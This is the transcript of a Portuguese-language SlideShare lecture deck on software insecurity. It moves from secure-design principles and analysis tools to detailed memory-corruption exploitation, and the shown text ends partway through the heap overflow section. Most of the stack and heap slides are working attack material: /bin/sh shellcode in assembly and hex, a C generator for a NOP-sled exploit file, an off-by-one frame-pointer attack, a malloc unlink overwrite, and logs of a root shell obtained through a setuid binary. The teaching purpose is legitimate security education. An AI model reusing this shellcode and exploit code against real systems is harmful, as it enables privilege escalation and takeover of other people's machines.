Your SlideShare is downloading. ×
(In)Segurança De Software, Quebrando Códigos
Upcoming SlideShare
Loading in...5
×

Thanks for flagging this SlideShare!

Oops! An error has occurred.

×

Introducing the official SlideShare app

Stunning, full-screen experience for iPhone and Android

Text the download link to your phone

Standard text messaging rates apply

(In)Segurança De Software, Quebrando Códigos

4,169
views

Published on

Técnicas de exploração de vulnerabilidades de software.

Técnicas de exploração de vulnerabilidades de software.

Published in: Technology, News & Politics

0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total Views
4,169
On Slideshare
0
From Embeds
0
Number of Embeds
1
Actions
Shares
0
Downloads
79
Comments
0
Likes
0
Embeds 0
No embeds

Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
No notes for slide

Transcript

  • 1. (In)Segurança de Software Quebrando Códigos Rafael Rosa 11/2009 rafaeltbh *nospan* yahoo dot com dot br
  • 2. Agenda (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Falhas de Software  Princípios de Segurança de Software  Introdução à Overflow de Memória  Stack Overflow  Heap Overflow  Integer Overflow  Format String Bug  Técnicas Modernas  WorX  Stack Protector  ASLR
  • 3. Agenda (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Falhas de Software  Princípios de Segurança de Software  Introdução à Overflow de Memória  Stack Overflow  Heap Overflow  Integer Overflow  Format String Bug  Técnicas Modernas  WorX  Stack Protector  ASLR
  • 4. O que é Software? Definição (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Software é uma sequência de instruções a serem seguidas na manipulação, redirecionamento, ou modificação de um conjunto de dados.  Conjunto de procedimentos, documentação e estruturas de dados que visam manipular dados.
  • 5. Software Sempre Falha Causas (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Falhas de software só existem porque as pessoas que os constroem estão susceptíveis a falhas.  Falta de experiência para reconhecer e remover falhas e defeitos na fase de projeto e de desenvolvimento.  Falta de conhecimento de princípios básicos de desenvolvimento seguro.
  • 6. Quando o Software Falha Consequências (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Expõe dados confidenciais à usuários não autorizados.  Programa pode terminar a execução ao receber entradas não esperadas.  Pode permitir injeção e execução de código malicioso.
  • 7. Correção de Software Defeituoso Manutenção (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Desenvolvedores só podem aplicar patchs em bugs conhecidos. Guardados a sete chaves pelos grupos hackers.  Patchs geralmente não são aplicados por desconhecimento dos usuários e por comodismo dos administradores de sistema (sistema funciona então não vou mexer, minha rede não vai ser atacada).
  • 8. Correção de Software Defeituoso Manutenção (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Correções precisam ser feitas muito rapidamente por necessidades de mercado, com isso o que deveria apenas corrigir uma vulnerabilidade pode introduzir um série de outras.  Geralmente corrigem os sintomas, não a real causa do problema.
  • 9. Desenvolvimento de Software Dificuldades (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Complexidade.  Extensibilidade.  Conectividade.
  • 10. Dificuldades Complexidade (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Software está se tornando cada vez mais complexo, o que aumenta a quantidade de defeitos de projeto.  Número cada vez maior de linhas de código. Mais bugs.  Menos funcionalidade significa menos risco de exposição.
  • 11. Dificuldades Extensibilidade (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Permite a adição de novas funcionalidades a um sistema. Plug-ins, drivers de dispositivo e módulos dinamicamente carregados.  Recursos que permitem extensibilidade devem ser bem projetados. Difícil proteger algo que ainda não foi desenvolvido.
  • 12. Dificuldades Conectividade (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Popularização da internet. Enorme quantidade de sistemas de software trocando informações sigilosas via rede.  Alta conectividade entre usuários domésticos e infra- estruturas críticas.  Aumento do número de vetores de ataque.
  • 13. (In)Segurança de Software, Quebrando Códigos - Rafael Rosa    Bug. Falha. Defeito. Problemas Desenvolvimento de Software
  • 14. Problemas Bug (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Existe somente em código, são erros comuns cometidos por programadores. Copiar 20 bytes para um buffer de tamanho 10.
  • 15. Problemas Defeito (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Condição anormal que pode existir em qualquer artefato na fase de desenvolvimento de software. No início de uma comunicação criptografada os dois nós trocam as chaves assimétricas, e então se inicia um sessão criptografada. Através dessa sessão os dois nós trocam uma chave simétrica, de modo que os dados possam então ser criptografados pela mesma.
  • 16. Problemas Falha (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Comportamento diferente do esperado. Defeito ou bug ativado. Quando um atacante se coloca no meio de uma conexão criptografada desde o início do handshake, ele pode burlar toda a segurança imposta pelo método de chave assimétrica. Com isso pode obter a chave simétrica e então explorar a conexão como quiser.
  • 17. Agenda (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Falhas de Software  Princípios de Segurança de Software  Introdução à Overflow de Memória  Stack Overflow  Heap Overflow  Integer Overflow  Format String Bug  Técnicas Modernas  WorX  Stack Protector  ASLR
  • 18. Segurança de Software (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Segurança é relativa. Software tem que ser seguro contra o quê? E contra quem?  Mecanismos de segurança não podem ser simplesmente adicionados à um sistema, tem que ser considerados desde o início do projeto.
  • 19. Segurança de Software (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Cada ambiente tem que ser analisado cuidadosamente para não afetar a usabilidade, funcionalidade e eficiência do sistema de software.  Software seguro deve prover confidenciabilidade, autenticação, integridade, segurança multi-nível, e anonimidade
  • 20. Software Seguro Proteção da ponta mais fraca (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Software é tão seguro quanto sua ponta mais fraca.  Atacantes vão seguir pelo caminho de menor resistência.
  • 21. Software Seguro Defesa em profundidade (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Mecanismos de segurança devem ser redundantes. Permite vários pontos de falha.  Evita que um único ponto de falha comprometa a segurança do sistema como um todo.  Aplicação deve ser projetada como se todos os outros mecanismos de segurança do sistema tivessem sido burlados.
  • 22. Software Seguro Falhar de modo seguro (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Falhas são inevitáveis e precisam ser planejadas de modo a não expôr o sistema. Recuperação de falhas é um aspecto essencial da engenharia de segurança.  Após um falha alterações devem ser desfeitas de modo que o sistema volte a um estado seguro.  Valores de retorno devem ser cuidadosamente chegados.
  • 23. Software Seguro Princípio de menor privilégio (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Mínimo de permissão durante o menor tempo possível.  Desistir de permissões elevadas assim que ações que as exigiam forem completadas.  Se um vulnerabilidade for explorada o atacante terá tantas regalias quanto o processo quebrado.
  • 24. Software Seguro Compartimentalização (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Separar o sistema em tantos compartimentos quanto for possível, de modo que cada compartimento tenha o mínimo de privilégio necessário para realizar as operações de que está encarregado.  Confinar códigos com alto nível de privilégio. Todo dano ocorrerá em um “ambiente” controlado.
  • 25. Software Seguro KISS (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Complexidade aumenta o risco de defeitos.  Reutilização de componentes que já provaram sua qualidade.  Não é inteligente criar rotinas próprias de criptografia e garantia de integridade.
  • 26. Software Seguro Privacidade (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Feedback para o usuário é diferente de prover muita informação.  Privacidade dos usuários não deve ser comprometida. Dados pessoais devem ser bem protegidos.
  • 27. Software Seguro Esconder segredos não é fácil (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Ofuscamento de código e segurança por obscuridade não funcionam. Acesso ao binário significa acesso à informação.  Deve-se considerar que o atacante conhece o sistema tanto quanto o desenvolvedor.
  • 28. Software Seguro Não confiar em interfaces externas (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Toda interface com o software é um possível vetor de ataque.  Entrada de qualquer interface do sistema deve ser vista com desconfiança. Não se deve assumir nada em relação a I/O.  Suposições incorretas sobre o ambiente de execução do sistema resultam em problemas de segurança.
  • 29. Analisando Software Ferramentas (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Depurador.  Disassembler.  Descompilador.  Ferramenta de auditoria de segurança.  Fuzzer.
  • 30. Analisando Software Depurador (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Executa um programa passo a passo, permite análise de registradores, dumps de memória, configuração de pontos de interrupção,  OllyDbg, SofIce, gdb.
  • 31. Analisando Software Disassembler (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Faz engenharia reversa do código de máquina gerando código assembly.  IDAPro, OllyDbg, gdb, Valgrind.
  • 32. Analisando Software Descompilador (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Faz engenharia reversa do código de máquina gerando código de alto nível. Código um tanto obscuro.  Depende da quantidade de informação da linguagem de alto nível contida no binário.  Rec, dcc.
  • 33. Analisando Software Ferramenta de auditoria de segurança (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Faz auditoria de código fonte em busca de padrões previamente conhecidos como “problemáticos”. Descrevem o problema encontrado e propõe correções.  RATS, Flawfinder, ITS4.
  • 34. Analisando Software Fuzzers (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Injeta dados inválidos, mal formatados, maliciosos, e inesperados em pontos de entrada de dados do software. Se ocorrer algo diferente do esperado, o defeito é detectado.  Os dados de entrada por sem baseados tanto em white- box quanto em black-box.  FuzzGrind, tmin.
  • 35. Agenda (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Falhas de Software  Princípios de Segurança de Software  Introdução à Overflow de Memória  Stack Overflow  Heap Overflow  Integer Overflow  Format String Bug  Técnicas Modernas  WorX  Stack Protector  ASLR
  • 36. Buffer Overflow O que é? (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Ocorre quando um bug permite que se possa extravasar a quantidade de memória reservada a um buffer, permitindo que dados sejam gravados em endereços de memória contíguos.  Erro de programação comum em linguagem C. Muitos poderes exigem muitas responsabilidades.
  • 37. Buffer Overflow E daí? (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Esse endereço contíguo pode ser um frame de pilha, endereço de retorno, ponteiro de função ou uma variável de controle da aplicação.  Esquemas de proteção em software podem ser facilmente quebrados caso sejam controlados por dados (flags, variáveis de controle) em memória.
  • 38. Buffer Overflow Funções vulneráveis (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  gets, strcpy, strcat, sprintf, scanf, sscanf, fscanf, streadd, strecpy, strtrns, getopt, getchar, fgetc, getc, read, bcopy, fgets, memcpy, snprintf, strncpy, syslog.
  • 39. Buffer Overflow Área de memória vulnerável (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Overflows podem ocorrer na stack ou na heap.  Na heap são mais difíceis de explorar e de identificar.
  • 40. Agenda (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Falhas de Software  Princípios de Segurança de Software  Introdução à Overflow de Memória  Stack Overflow  Heap Overflow  Integer Overflow  Format String Bug  Técnicas Modernas  WorX  Stack Protector  ASLR
  • 41. Stack Overflow Stack (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Área da memória reservada para chamadas de função e armazenamento de variáveis locais. esp var2 var1 buffer1 ebp ebp salvo ret arg1 arg2
  • 42. Stack Overflow Mapeamento da Stack (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Sistemas unix mapeiam a stack para regiões altas de memória: 0xbffeb000 - 0xc0000000  Sistemas Windows mapeiam para regiões baixas: 0x0022ff1f - 0x00096cbf
  • 43. Stack Overflow Mapa de memória no Linux (In)Segurança de Software, Quebrando Códigos - Rafael Rosa memória baixa não usada .init, .text, .rodata .data, .bss heap Bibliotecas compartilhadas stack memória alta kernel
  • 44. Stack Overflow Mapa de memória no Windows (In)Segurança de Software, Quebrando Códigos - Rafael Rosa memória baixa kernel stack heap .text .data, .rodata, .bss Bibliotecas memória alta compartilhadas
  • 45. Stack Overflow Programa vulnerável (In)Segurança de Software, Quebrando Códigos - Rafael Rosa void func(char *str){ int main(int argc, char *argv[]){ char buffer[16]; if(argc != 2){ strcpy(buffer, str); printf("uso: %s <param>n", argv[0]); printf("%sn", buffer); return 1; } } func(argv[1]); printf("fimn"); } [rafael@centos stack]$ ./stack_overflow_ex1 AAAABBBBCCCCDDDDEEEEFFFF AAAABBBBCCCCDDDDEEEEFFFF Segmentation fault [rafael@centos stack]$
  • 46. Stack Overflow Stack do programa (In)Segurança de Software, Quebrando Códigos - Rafael Rosa crescimento da stack buffer[16] EBP anterior end retorno ptr str esp ebp
  • 47. Stack Overflow Vetor de injeção (In)Segurança de Software, Quebrando Códigos - Rafael Rosa Injetar vetor de ataque de modo a controlar o endereço de retorno. vetor de injeção buffer[16] EBP anterior end retorno ptr str
  • 48. Stack Overflow Executando código inativo (In)Segurança de Software, Quebrando Códigos - Rafael Rosa void foo(){ printf("nunca entra aquin"); int main(){ exit(1); func(); } printf("fimn"); } void func(){ char buffer[16]; strcpy(buffer, "AAAABBBBCCCCDDD"); *((long*)(buffer+20)) = (long)&foo; printf("%sn", buffer); } [rafael@centos stack]$ ./stack_overflow_ex2 AAAABBBBCCCCDDD nunca entra aqui [rafael@centos stack]$
  • 49. Stack Overflow Controlando endereço de retorno (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Endereço de retorno sobrescrito. AAAA...DDD EBP anterior ptr foo ... buffer[16] EBP anterior end retorno ... esp ebp crescimento da stack
  • 50. Stack Overflow Executando um shell (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  E se fosse um shell? void foo(){ char *params[2]; params[0] = "/bin/sh"; params[1] = NULL; execve(params[0], params, NULL); } [rafael@centos stack]$ ./stack_overflow_ex3 AAAABBBBCCCCDDD sh-3.2$
  • 51. Stack Overflow Planejando o ataque (In)Segurança de Software, Quebrando Códigos - Rafael Rosa Não basta sobrescrever o endereço de retorno. Precisamos de um shellcode no nosso vetor de injeção. Endereço de retorno deve apontar para o payload, de modo a redirecionar o fluxo para o código de execução do shell.
  • 52. Stack Overflow Escrevendo shellcode (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Desassemblando chamada à execve(). movl $0x80484a8,0xfffffff4(%ebp) “/bin/sh' movl $0x0,0xfffffff8(%ebp) NULL mov 0xfffffff4(%ebp),%edx movl $0x0,0x8(%esp) NULL lea 0xfffffff4(%ebp),%eax mov %eax,0x4(%esp) /bin/sh mov %edx,(%esp) /bin/sh, NULL call 0x8048280 <execve>
  • 53. Stack Overflow Escrevendo shellcode (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Desassemblando execve(). mov 0x8(%ebp), %ebx “/bin/sh” mov 0xc(%ebp), %ecx {“/bin/sh”, NULL} mov 0x10(%ebp), %edx NULL mov $0xb, %eax 0xb int $0x80
  • 54. Stack Overflow Escrevendo shellcode (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  eax recebe 0xb.  Ponteiro para “/bin/sh” deve estar em ebx.  Ponteiro de strings em ecx.  Ponteiro NULL em edx.
  • 55. Stack Overflow Escrevendo shellcode (In)Segurança de Software, Quebrando Códigos - Rafael Rosa BITS 32 section .text global _start _start: push 0 ; empilha '0' push 0x68732f2f ; empilha “//sh” push 0x6e69622f ; empilha “/bin” mov ebx, esp ; ebx aponta para “/bin//sh” push 0 ; empilha NULL push ebx ; empilha endereço de “/bin//sh” mov ecx, esp ; ecx aponta para ponteiros de strings mov eax, 0xb ; eax recebe 0xb (execve) int 0x80 ; chamada de sistema
  • 56. Stack Overflow Testando o código (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Executando shellcode. [rafael@centos stack]$ nasm -f elf -o shellcode1.o shellcode1.asm [rafael@centos stack]$ ld -s -o shellcode1 shellcode1.o [rafael@centos stack]$ ./shellcode1 sh-3.2$ exit exit [rafael@centos stack]$  Gerando binário. [rafael@centos stack]$ nasm -f bin -o shellcode1.bin shellcode1.asm
  • 57. Stack Overflow Binário gerado (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Binário gerado possui 0x00, o que acarretaria no término de uma operação de string.
  • 58. Stack Overflow Escrevendo shellcode sem 0x00 (In)Segurança de Software, Quebrando Códigos - Rafael Rosa BITS 32 section .text global _start _start: xor eax,eax ; zera eax push eax ; empilha eax push 0x68732f2f ; empilha “//sh” push 0x6e69622f ; empilha “/bin” mov ebx, esp ; ebx aponta para “/bin//sh” push eax ; empilha NULL push ebx ; empilha endereço de “/bin//sh” mov ecx, esp ; ecx aponta para ponteiros de strings mov al, 0xb ; al recebe 0xb (execve) int 0x80 ; chamada de sistema
  • 59. Stack Overflow Testando o código (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Executando shellcode. [rafael@centos stack]$ nasm -f elf -o shellcode2.o shellcode2.asm [rafael@centos stack]$ ld -s -o shellcode2 shellcode2.o [rafael@centos stack]$ ./shellcode2 sh-3.2$ exit exit [rafael@centos stack]$  Gerando binário. [rafael@centos stack]$ nasm -f bin -o shellcode2.bin shellcode2.asm
  • 60. (In)Segurança de Software, Quebrando Códigos - Rafael Rosa Binário gerado Stack Overflow
  • 61. Stack Overflow Shellcode ganhando eip (In)Segurança de Software, Quebrando Códigos - Rafael Rosa char shellcode[]= "x31xc0x50x68x2f” “x2fx73x68x68x2fx62x69x6ex89” int main(){ “xe3x50x53x89xe1xb0x0bxcdx80”; func(); printf("fimn"); void func(){ } char buffer[16]; strcpy(buffer, "AAAABBBBCCCCDDD"); *((long*)(buffer+20)) = (long)shellcode; printf("%sn", buffer); } [rafael@centos stack]$ ./stack_overflow_ex4 sh-3.2$ exit exit [rafael@centos stack]$
  • 62. Stack Overflow Codificando exploit (In)Segurança de Software, Quebrando Códigos - Rafael Rosa Para criar o vetor de injeção levar em conta tamanho do buffer, alinhamento dos bytes, e restrições de entrada. Payload pode ser colocado em qualquer localização de memória conhecida
  • 63. Stack Overflow Codificando exploit (In)Segurança de Software, Quebrando Códigos - Rafael Rosa ret deve estar nesse intevalo NOPs Shellcode ret... ret ret ret... buffer[] EBP anterior end retorno ... esp ebp crescimento da stack
  • 64. Stack Overflow Codificando exploit (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Como prever a posição correta de retorno?  Stack geralmente é alocada no mesmo endereço. Conhecendo o início da stack fica fácil adivinhar onde o buffer a ser explorado está.
  • 65. Stack Overflow Codificando exploit (In)Segurança de Software, Quebrando Códigos - Rafael Rosa #define RETADDRS 0xbffff600 char shellcode[]= "x31xc0x50x68x2fx2fx73x68x68x2fx62x69" "x6ex89xe3x50x53x89xe1xb0x0bxcdx80"; int main(int argc, char **argv){ FILE *badfile; long *ptr; unsigned int ret; int n, i; char buffer[313]; if(argc != 2){ fprintf(stderr, "uso: %s <ret>n", argv[0]); return 1; }
  • 66. Stack Overflow Codificando exploit (In)Segurança de Software, Quebrando Códigos - Rafael Rosa ret = RETADDRS - atoi(argv[1]); memset(&buffer, 0x90, 312); memcpy(buffer+120, shellcode, strlen(shellcode)); ptr = buffer + 120 + strlen(shellcode); /*alinhando em 4 bytes*/ ptr = ((char*)ptr) + (4 - strlen(shellcode)%4); n = (&buffer[311] - (char*)ptr)/4; for(i = 0; i < n; i++) ptr[i] = ret; buffer[312] = '0'; badfile = fopen("./badfile_ex5.bin", "w"); fwrite(buffer, 313, 1, badfile); fclose(badfile); }
  • 67. Stack Overflow Ganhando um shell (In)Segurança de Software, Quebrando Códigos - Rafael Rosa [rafael@centos stack]$ ./exploit_stack_overflow_ex5 300 [rafael@centos stack]$ ./stack_overflow_ex5 `cat badfile_ex5.bin ` ������������������������������������������� ������������������������������������������� ����������������������������������1�Ph//shh/bin�� PS��1Ұ ̀�������������������������� ������������������������������������������� ������������������������������������������� ������������������������������������������� ������������ sh-3.2$  Pra que serve isso?
  • 68. Stack Overflow Ganhando acesso irrestrito (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Se o programa tivesse permissões elevadas: [root@centos stack]# chown root stack_overflow_ex5 [root@centos stack]# chmod +s stack_overflow_ex5 [root@centos stack]# ls -l stack_overflow_ex5 -rwsrwsrwx 1 root root 9109 2009-08-12 16:08 stack_overflow_ex5 [rafael@centos stack]$ ./exploit_stack_overflow_ex5 450 [rafael@centos stack]$ ./stack_overflow_ex5 `cat badfile_ex5.bin ` ������������������������������������������ ������������������������������������������ ������������������������������������1�Ph//shh/bin ��PS��1Ұ ̀������������������� ������������������������������������������ ������������������������������������������ ������������������������ # whoami root #
  • 69. Stack Overflow Terminador não calculado (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Operações de buffer são feitas sem levar em consideração o byte NULL de terminação da string.  Dependendo da função de tratamento o terminador pode ou não ser colocado.  Se não for colocado, a string pode ser tratada como se fosse maior do que realmente é.  Se for colocado, o byte seguinte à string será sobrescrito com 0x00.
  • 70. Stack Overflow No terminator (In)Segurança de Software, Quebrando Códigos - Rafael Rosa #define MAXLEN 128 int func1(char *str1, char *str2){ char buffer[MAXLEN]; memset(buffer, 0xff, MAXLEN); strncpy(buffer, str1, MAXLEN-1); strncat(buffer, str2, MAXLEN - strlen(buffer)-1); printf("%sn", buffer); } /*função de auxílio, já que o frame da main é protegido*/ int func(char *str1, char *str2){ int x=0; func1(str1, str2); }
  • 71. Stack Overflow No terminator (In)Segurança de Software, Quebrando Códigos - Rafael Rosa int main(int argc, char *argv[]){ if(argc != 3){ fprintf(stderr, "uso %s <arg1> <arg2>n", argv[0]); return 1; } func(argv[1], argv[2]); }
  • 72. Stack Overflow A técnica (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Quando MAXLEN-1 bytes são copiados em strncpy, o terminador não é escrito.  strlen(buffer) será maior que MAXLEN-1, fazendo a operação resultar em um valor negativo, que quando interpretado como unsigned representa um valor muito grande. Com isso acontecerá a concatenação.  O final do buffer é o primeiro byte 0x00 a partir do início do mesmo.
  • 73. Stack Overflow A técnica (In)Segurança de Software, Quebrando Códigos - Rafael Rosa Pilha do programa vulnerável payload injetado buf shellcode ebp ebp retaddr retaddr str1 str1 str2 str2 x ebp retaddr ret... str1 str2
  • 74. Stack Overflow O ataque (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Os 128 bytes do buffer serão preenchidos com o payload.  Mais 80 bytes serão passados com o endereço de retorno. [rafael@centos stack]$ ../get_esp `cat badfile_nonull.bin ` ESP: 0xbffff444 [rafael@centos stack]$
  • 75. Stack Overflow O ataque (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Deve-se considerar o tamanho do buffer: ret = 0xbffff444 - 128
  • 76. Stack Overflow O ataque (In)Segurança de Software, Quebrando Códigos - Rafael Rosa [rafael@centos stack]$ ./nonull `cat badfile_nonull.bin ` ������������������������������������������� ������������������������������������������� ������������������1�Ph//shh/bin��PS��� ̀�H�����`������������������������������������ ������������������������������������������� ����� sh-3.2$ exit exit [rafael@centos stack]$
  • 77. Stack Overflow Off by one (In)Segurança de Software, Quebrando Códigos - Rafael Rosa int func1(char *str){ char buf[200]; int main(int argc, char *argv[]){ strcpy(buf, "argv[1] = "); if(argc != 2){ strncat(buf, str, sizeof(buf) - strlen(buf) ); fprintf(stderr, "uso %s <arg>n", argv[0]); printf("%sn", buf); return 1; } } /*função de auxílio já que o frame da main é func(argv[1]); protegido*/ } int func(char *str){ func1(str); }
  • 78. Stack Overflow A técnica (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Consiste na falsificação do frame de pilha da função chamadora. Pilha do programa vulnerável payload injetado shellcode Quando a função buf chamadora retornar, o valor ret... apontado pelo ebp ebp ebp injetado + 4 retaddr tomará o controle retaddr do eip. str str ebp ebp retaddr retaddr
  • 79. Stack Overflow A técnica (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Como sobrescrevemos o byte menos significativo do ebp, o deslocamento máximo do ebp da função chamadora é 255 bytes.  Quanto menor o valor do LSB do ebp salvo, menor será o deslocamento, e quanto menor o deslocamento, pode-se garantir que o novo ebp apontará para o fim do buffer.  Preenchendo o início do buffer com o endereço do payload o fluxo será redirecionado para o código injetado.
  • 80. Stack Overflow O ataque (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Dos 200 bytes do buffer sobram 190 para a entrada do programa [rafael@centos stack]$ ../get_esp `cat badfile_off_by_one.bin ` ESP: 0xbffff454 [rafael@centos stack]$  O LSB deve ser menor. [rafael@centos stack]$ export PADDING=`perl -e 'print “A”x80'` [rafael@centos stack]$ ../get_esp `cat badfile_off_by_one.bin ` ESP: 0xbffff3f4 [rafael@centos stack]$
  • 81. Stack Overflow O ataque (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Deve-se considerar o tamanho do buffer: ret = 0xbffff3f4 - 200
  • 82. Stack Overflow O ataque (In)Segurança de Software, Quebrando Códigos - Rafael Rosa [rafael@centos stack]$ ./off_by_one `cat badfile_off_by_one.bin ` Argv[1] = ������������������������������������� ������������������������������������������� ���������������������1�Ph//shh/bin��PS��� ̀,���,���,���,���,���,���,���,���,���,���,���,� ��,���,���,���, sh-3.2$ exit exit [rafael@centos stack]$
  • 83. Agenda (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Falhas de Software  Princípios de Segurança de Software  Introdução à Overflow de Memória  Stack Overflow  Heap Overflow  Integer Overflow  Format String Bug  Técnicas Modernas  WorX  Stack Protector  ASLR
  • 84. Heap Overflow Heap (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Área da memória reservada para alocação dinamica de blocos de memória.  Cada bloco alocado possui um cabeçalho de controle.  Gerenciada e organizada por algorítimos complexos.
  • 85. Heap Overflow Cabeçalho da heap (In)Segurança de Software, Quebrando Códigos - Rafael Rosa chunk A prev_size prev_size prev_size size 00010000b 00010000b fd bk dados dados chunk B prev_size size 00010001b 00010001b fd próximo livre bk dados anterior livre chunk C prev_size 00010000b size tam & PREV_INUSE tam fd próximo livre próximo livre bk anterior livre anterior livre
  • 86. Heap Overflow Campos do cabeçalho (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  prev_size: Caso o chunk anterior (fisicamente) esteja livre, contém tamanho desse chunk, caso contrário, é usado como espaço para dados do chunk anterior.  size: tamanho em bytes (múltiplos de 8) do chunk atual. Dois bits menos significativos PREV_INUSE e IS_MMAPPED.
  • 87. Heap Overflow Campos do cabeçalho (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  fd: próximo chunk na bin. Caso chunk esteja alocado é usado como área de dados.  bk: chunk anterior na bin. Caso chunk esteja alocado é usado como área de dados.
  • 88. Heap Overflow Organização da heap (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Chunks livres ficam em uma lista duplamente encadeada chamada bin.  Essa lista é controlada pelos campos fd e bk do cabeçalho.  Há uma bin para cada tamanho de chunk (8, 64, 512, etc).
  • 89. Heap Overflow Organização da heap (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Quando free() é chamada em um endereço de memória (área de dados de um chunk), os chunks fisicamente adjacentes são checados a fim de fazer uma fusão gerando um chunk maior.  Assim sendo, o chunk livre tem que ser retirado da bin onde se encontra, e só então a fusão pode acontecer.
  • 90. Heap Overflow Organização da heap (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  unlink() é chamada no chunk. #define unlink( P,BK,FD) { BK = P->bk; FD = P->fd; FD->bk = BK; BK->fd = FD; }
  • 91. Heap Overflow Organização da heap (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Controlando fd e bk do chunk P é possível sobrescrever qualquer endereço de memória.
  • 92. Heap Overflow Alterando terceiro chunk (In)Segurança de Software, Quebrando Códigos - Rafael Rosa char payload[] = /*jmp*/ "xebx0a” “AAAAAAAAAA” /*shellcode*/ "x31xc0x50x68x2fx2fx73x68x68x2fx62x69" "x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcd" "x80"; int main (void){ int *aux; void (*foo)() = NULL; char *ptr1, *ptr2; ptr1 = malloc (128); ptr2 = malloc (16);
  • 93. Heap Overflow Alterando terceiro chunk (In)Segurança de Software, Quebrando Códigos - Rafael Rosa aux = ptr2; *aux = ((char*)&foo) - 12; /* FD 2*/ aux++; *aux = payload; /* BK 2*/ aux = ptr2+16; *aux = 0xdefaced; /* prev_size 3*/ aux++; *aux = 0xdefaced & ~0x1; /*size 3*/ free (ptr1); if( foo ) foo(); }
  • 94. Heap Overflow Alterando terceiro chunk (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  fd do segundo chunk recebe o endereço a ser sobrescrito menos 12 (FD->bk = FD+12).  bk recebe valor (comprimento de um ponteiro) a ser colocado no endereço alvo.  O campo size do terceiro chunk recebe um valor qualquer em que o bit PREV_INUSE esteja desativado.
  • 95. Heap Overflow Alterando terceiro chunk (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Quando free() é chamada para desalocar o primeiro chunk, o campo size do terceiro chunk é testado, e como o bit PREV_INUSE está desativado unlink() será chamada no segundo chunk de modo que se possa fazer a junção do primeiro e do segundo.  foo então recebe o endereço de payload. payload+8 (BK->fd = BK+8) recebe endereço de foo menos 12.
  • 96. Heap Overflow Alterando terceiro chunk (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Como são sobrescritos 4 bytes a partir de payload+8 haverá instruções ilegais no meio do shellcode. payload+8 jmp 0xa dummy shellcode 0xa [rafael@centos heap]$ ./heap_overflow_ex1 sh-3.2$
  • 97. Heap Overflow Forjando terceiro chunk (In)Segurança de Software, Quebrando Códigos - Rafael Rosa char payload[] = /*jmp*/ "xebx0a” “AAAAAAAAAA” /*shellcode*/ "x31xc0x50x68x2fx2fx73x68x68x2fx62x69" "x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcd" "x80"; int main(){ int *aux; void (*foo)() = NULL; char *ptr1, *ptr2; ptr1 = malloc (128); ptr2 = malloc (16);
